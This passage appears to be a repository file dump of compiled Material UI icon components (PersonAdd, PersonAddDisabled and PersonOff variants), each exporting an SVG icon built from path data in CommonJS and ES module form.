    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.48 16.34C13.29 15.73 11.37 15 9 15s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V18h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m11 3V6h-2v3h-3v2h3v3h2v-3h3V9zm-4.61 5.56C13.71 13.7 11.53 13 9 13s-4.71.7-6.39 1.56C1.61 15.07 1 16.1 1 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M15 18H3v-.78c0-.38.2-.72.52-.88C4.71 15.73 6.63 15 9 15s4.29.73 5.48 1.34c.32.16.52.5.52.88z\"\n}, \"2\")], 'PersonAddAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddDisabled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"8\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 20v-2c0-2.3-4.1-3.7-6.9-3.9l6 5.9zm-11.6-5.5C9.2 15.1 7 16.3 7 18v2h9.9l4 4 1.3-1.3-21-20.9L0 3.1l4 4V10H1v2h3v3h2v-3h2.9zM6 10v-.9l.9.9z\"\n}, \"1\")], 'PersonAddDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddDisabled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"8\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 20v-2c0-2.3-4.1-3.7-6.9-3.9l6 5.9zm-11.6-5.5C9.2 15.1 7 16.3 7 18v2h9.9l4 4 1.3-1.3-21-20.9L0 3.1l4 4V10H1v2h3v3h2v-3h2.9zM6 10v-.9l.9.9z\"\n}, \"1\")], 'PersonAddDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddDisabledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 6c1.1 0 2 .9 2 2 0 .99-.73 1.82-1.67 1.97l-2.31-2.31C13.19 6.72 14.01 6 15 6m0-2c-2.21 0-4 1.79-4 4 0 .18.03.35.05.52l3.43 3.43c.17.02.34.05.52.05 2.21 0 4-1.79 4-4s-1.79-4-4-4m1.69 10.16L22.53 20H23v-2c0-2.14-3.56-3.5-6.31-3.84m-3.68 1.97L14.88 18H9c.08-.24.88-1.01 2.91-1.57zM1.41 1.71 0 3.12l4 4V10H1v2h3v3h2v-3h2.88l2.51 2.51C9.19 15.11 7 16.3 7 18v2h9.88l4 4 1.41-1.41zM6 10v-.88l.88.88z\"\n}), 'PersonAddDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddDisabledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 6c1.1 0 2 .9 2 2 0 .99-.73 1.82-1.67 1.97l-2.31-2.31C13.19 6.72 14.01 6 15 6m0-2c-2.21 0-4 1.79-4 4 0 .18.03.35.05.52l3.43 3.43c.17.02.34.05.52.05 2.21 0 4-1.79 4-4s-1.79-4-4-4m1.69 10.16L22.53 20H23v-2c0-2.14-3.56-3.5-6.31-3.84m-3.68 1.97L14.88 18H9c.08-.24.88-1.01 2.91-1.57zM1.41 1.71 0 3.12l4 4V10H1v2h3v3h2v-3h2.88l2.51 2.51C9.19 15.11 7 16.3 7 18v2h9.88l4 4 1.41-1.41zM6 10v-.88l.88.88z\"\n}), 'PersonAddDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddDisabledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.48 11.95c.17.02.34.05.52.05 2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4c0 .18.03.35.05.52zm2.21 2.21 5.74 5.74c.33-.17.57-.5.57-.9v-1c0-2.14-3.56-3.5-6.31-3.84M2.12 2.42a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L4 7.12V10H2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2.88l2.51 2.51C9.19 15.11 7 16.3 7 18v1c0 .55.45 1 1 1h8.88l3.29 3.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM6 10v-.88l.88.88z\"\n}), 'PersonAddDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddDisabledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.48 11.95c.17.02.34.05.52.05 2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4c0 .18.03.35.05.52zm2.21 2.21 5.74 5.74c.33-.17.57-.5.57-.9v-1c0-2.14-3.56-3.5-6.31-3.84M2.12 2.42a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L4 7.12V10H2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2.88l2.51 2.51C9.19 15.11 7 16.3 7 18v1c0 .55.45 1 1 1h8.88l3.29 3.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM6 10v-.88l.88.88z\"\n}), 'PersonAddDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddDisabledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.48 11.95c.17.02.34.05.52.05 2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4c0 .18.03.35.05.52zm2.21 2.21L22.53 20H23v-2c0-2.14-3.56-3.5-6.31-3.84M0 3.12l4 4V10H1v2h3v3h2v-3h2.88l2.51 2.51C9.19 15.11 7 16.3 7 18v2h9.88l4 4 1.41-1.41L1.41 1.71zM6.88 10H6v-.88z\"\n}), 'PersonAddDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddDisabledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.48 11.95c.17.02.34.05.52.05 2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4c0 .18.03.35.05.52zm2.21 2.21L22.53 20H23v-2c0-2.14-3.56-3.5-6.31-3.84M0 3.12l4 4V10H1v2h3v3h2v-3h2.88l2.51 2.51C9.19 15.11 7 16.3 7 18v2h9.88l4 4 1.41-1.41L1.41 1.71zM6.88 10H6v-.88z\"\n}), 'PersonAddDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddDisabledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 18h5.87L13 16.13l-1.1.3C9.89 16.99 9.08 17.76 9 18m8-10c0-1.1-.9-2-2-2-.99 0-1.81.72-1.97 1.67l2.31 2.31C16.27 9.82 17 8.99 17 8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.48 11.95c.17.02.34.05.52.05 2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4c0 .18.03.35.05.52zM15 6c1.1 0 2 .9 2 2 0 .99-.73 1.82-1.67 1.97l-2.31-2.31C13.19 6.72 14.01 6 15 6m1.69 8.16L22.53 20H23v-2c0-2.14-3.56-3.5-6.31-3.84M0 3.12l4 4V10H1v2h3v3h2v-3h2.88l2.51 2.51C9.19 15.11 7 16.3 7 18v2h9.88l4 4 1.41-1.41L1.41 1.71zm13.01 13.01L14.88 18H9c.08-.24.88-1.01 2.91-1.57zM6 9.12l.88.88H6z\"\n}, \"1\")], 'PersonAddDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddDisabledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 18h5.87L13 16.13l-1.1.3C9.89 16.99 9.08 17.76 9 18m8-10c0-1.1-.9-2-2-2-.99 0-1.81.72-1.97 1.67l2.31 2.31C16.27 9.82 17 8.99 17 8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.48 11.95c.17.02.34.05.52.05 2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4c0 .18.03.35.05.52zM15 6c1.1 0 2 .9 2 2 0 .99-.73 1.82-1.67 1.97l-2.31-2.31C13.19 6.72 14.01 6 15 6m1.69 8.16L22.53 20H23v-2c0-2.14-3.56-3.5-6.31-3.84M0 3.12l4 4V10H1v2h3v3h2v-3h2.88l2.51 2.51C9.19 15.11 7 16.3 7 18v2h9.88l4 4 1.41-1.41L1.41 1.71zm13.01 13.01L14.88 18H9c.08-.24.88-1.01 2.91-1.57zM6 9.12l.88.88H6z\"\n}, \"1\")], 'PersonAddDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 8c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zm-3-3v-3h3v-2H6V7H4v3H1v2h3v3z\"\n}), 'PersonAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 8c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zm-3-3v-3h3v-2H6V7H4v3H1v2h3v3z\"\n}), 'PersonAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m-9-2V8c0-.55-.45-1-1-1s-1 .45-1 1v2H2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1zm9 4c-2.67 0-8 1.34-8 4v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-2.66-5.33-4-8-4\"\n}), 'PersonAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m-9-2V8c0-.55-.45-1-1-1s-1 .45-1 1v2H2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1zm9 4c-2.67 0-8 1.34-8 4v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-2.66-5.33-4-8-4\"\n}), 'PersonAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m-9-2V7H4v3H1v2h3v3h2v-3h3v-2zm9 4c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4\"\n}), 'PersonAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m-9-2V7H4v3H1v2h3v3h2v-3h3v-2zm9 4c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4\"\n}), 'PersonAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 16c-2.69 0-5.77 1.28-6 2h12c-.2-.71-3.3-2-6-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 8c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zm-3-3v-3h3v-2H6V7H4v3H1v2h3v3z\"\n}, \"2\")], 'PersonAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonAddTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 16c-2.69 0-5.77 1.28-6 2h12c-.2-.71-3.3-2-6-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m0 8c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4m-6 4c.22-.72 3.31-2 6-2 2.7 0 5.8 1.29 6 2zm-3-3v-3h3v-2H6V7H4v3H1v2h3v3z\"\n}, \"2\")], 'PersonAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.65 5.82C9.36 4.72 10.6 4 12 4c2.21 0 4 1.79 4 4 0 1.4-.72 2.64-1.82 3.35zM20 17.17c-.02-1.1-.63-2.11-1.61-2.62-.54-.28-1.13-.54-1.77-.76zm1.19 4.02L2.81 2.81 1.39 4.22l8.89 8.89c-1.81.23-3.39.79-4.67 1.45-1 .51-1.61 1.54-1.61 2.66V20h13.17l2.61 2.61z\"\n}), 'PersonOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.65 5.82C9.36 4.72 10.6 4 12 4c2.21 0 4 1.79 4 4 0 1.4-.72 2.64-1.82 3.35zM20 17.17c-.02-1.1-.63-2.11-1.61-2.62-.54-.28-1.13-.54-1.77-.76zm1.19 4.02L2.81 2.81 1.39 4.22l8.89 8.89c-1.81.23-3.39.79-4.67 1.45-1 .51-1.61 1.54-1.61 2.66V20h13.17l2.61 2.61z\"\n}), 'PersonOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 17.17-3.37-3.38c.64.22 1.23.48 1.77.76.97.51 1.58 1.52 1.6 2.62m1.19 4.02-1.41 1.41-2.61-2.6H4v-2.78c0-1.12.61-2.15 1.61-2.66 1.29-.66 2.87-1.22 4.67-1.45L1.39 4.22 2.8 2.81zM15.17 18l-3-3H12c-2.37 0-4.29.73-5.48 1.34-.32.16-.52.5-.52.88V18zM12 6c1.1 0 2 .9 2 2 0 .86-.54 1.59-1.3 1.87l1.48 1.48C15.28 10.64 16 9.4 16 8c0-2.21-1.79-4-4-4-1.4 0-2.64.72-3.35 1.82l1.48 1.48C10.41 6.54 11.14 6 12 6\"\n}), 'PersonOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 17.17-3.37-3.38c.64.22 1.23.48 1.77.76.97.51 1.58 1.52 1.6 2.62m1.19 4.02-1.41 1.41-2.61-2.6H4v-2.78c0-1.12.61-2.15 1.61-2.66 1.29-.66 2.87-1.22 4.67-1.45L1.39 4.22 2.8 2.81zM15.17 18l-3-3H12c-2.37 0-4.29.73-5.48 1.34-.32.16-.52.5-.52.88V18zM12 6c1.1 0 2 .9 2 2 0 .86-.54 1.59-1.3 1.87l1.48 1.48C15.28 10.64 16 9.4 16 8c0-2.21-1.79-4-4-4-1.4 0-2.64.72-3.35 1.82l1.48 1.48C10.41 6.54 11.14 6 12 6\"\n}), 'PersonOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.65 5.82C9.36 4.72 10.6 4 12 4c2.21 0 4 1.79 4 4 0 1.4-.72 2.64-1.82 3.35zM20 17.17c-.02-1.1-.63-2.11-1.61-2.62-.54-.28-1.13-.54-1.77-.76zm.49 3.32L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l8.18 8.18c-1.82.23-3.41.8-4.7 1.46C4.6 15.08 4 16.11 4 17.22V20h13.17l1.9 1.9c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41\"\n}), 'PersonOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.65 5.82C9.36 4.72 10.6 4 12 4c2.21 0 4 1.79 4 4 0 1.4-.72 2.64-1.82 3.35zM20 17.17c-.02-1.1-.63-2.11-1.61-2.62-.54-.28-1.13-.54-1.77-.76zm.49 3.32L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l8.18 8.18c-1.82.23-3.41.8-4.7 1.46C4.6 15.08 4 16.11 4 17.22V20h13.17l1.9 1.9c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41\"\n}), 'PersonOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.65 5.82C9.36 4.72 10.6 4 12 4c2.21 0 4 1.79 4 4 0 1.4-.72 2.64-1.82 3.35zM20 17.17c-.02-1.1-.63-2.11-1.61-2.62-.54-.28-1.13-.54-1.77-.76zm1.19 4.02L2.81 2.81 1.39 4.22l8.89 8.89c-1.81.23-3.39.79-4.67 1.45-1 .51-1.61 1.54-1.61 2.66V20h13.17l2.61 2.61z\"\n}), 'PersonOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.65 5.82C9.36 4.72 10.6 4 12 4c2.21 0 4 1.79 4 4 0 1.4-.72 2.64-1.82 3.35zM20 17.17c-.02-1.1-.63-2.11-1.61-2.62-.54-.28-1.13-.54-1.77-.76zm1.19 4.02L2.81 2.81 1.39 4.22l8.89 8.89c-1.81.23-3.39.79-4.67 1.45-1 .51-1.61 1.54-1.61 2.66V20h13.17l2.61 2.61z\"\n}), 'PersonOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.17 18-3-3H12c-2.37 0-4.29.73-5.48 1.34-.32.16-.52.5-.52.88V18zM10.13 7.3C10.41 6.54 11.14 6 12 6c1.1 0 2 .9 2 2 0 .86-.54 1.59-1.3 1.87\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 17.17-3.37-3.38c.64.22 1.23.48 1.77.76.97.51 1.58 1.52 1.6 2.62m1.19 4.02-1.41 1.41-2.61-2.6H4v-2.78c0-1.12.61-2.15 1.61-2.66 1.29-.66 2.87-1.22 4.67-1.45L1.39 4.22 2.8 2.81zM15.17 18l-3-3H12c-2.37 0-4.29.73-5.48 1.34-.32.16-.52.5-.52.88V18zM12 6c1.1 0 2 .9 2 2 0 .86-.54 1.59-1.3 1.87l1.48 1.48C15.28 10.64 16 9.4 16 8c0-2.21-1.79-4-4-4-1.4 0-2.64.72-3.35 1.82l1.48 1.48C10.41 6.54 11.14 6 12 6\"\n}, \"1\")], 'PersonOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonOffTwoTone.mjs",
